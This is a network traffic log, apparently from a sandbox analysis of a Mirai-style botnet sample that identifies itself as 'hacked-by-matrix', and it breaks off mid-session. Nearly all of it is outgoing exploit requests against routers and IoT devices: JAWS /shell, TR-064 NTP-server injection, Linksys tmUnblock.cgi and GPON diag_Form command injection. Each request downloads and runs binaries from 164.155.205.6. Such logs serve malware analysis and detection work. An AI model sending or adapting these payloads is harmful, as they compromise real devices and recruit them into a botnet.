Mar 2, 2024 12:38:00.036679029 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:07.899136066 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.23	54792	109.59.231.161	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.063432932 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.23	55984	183.106.249.117	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.218458891 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.23	49120	31.200.54.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.307960033 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.23	58794	71.88.24.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.371980906 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.23	36988	177.143.214.18	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.421015024 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.23	51660	95.128.201.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.455317020 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:01.436009884 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:01.620062113 CET	467	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:01 GMT Server: Apache Content-Length: 289 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 39 35 2e 31 32 38 2e 32 30 31 2e 37 37 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at 95.128.201.77 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.23	52742	206.198.132.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.473117113 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.23	41296	220.91.115.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.493423939 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:00.776911020 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:38:00 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.23	58798	71.88.24.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.517841101 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.23	35824	104.26.7.216	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.756841898 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.23	58492	107.178.148.29	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:00.827168941 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:01.691926003 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:02.719749928 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:04.735166073 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:08.922933102 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:17.113775015 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:33.239464998 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.23	59862	212.251.43.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090153933 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.23	46356	79.199.51.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090178967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.23	41118	94.203.90.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090183973 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.23	52214	109.113.216.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090193987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.23	55502	5.134.1.92	443

Timestamp	Bytes transferred	Direction	Data
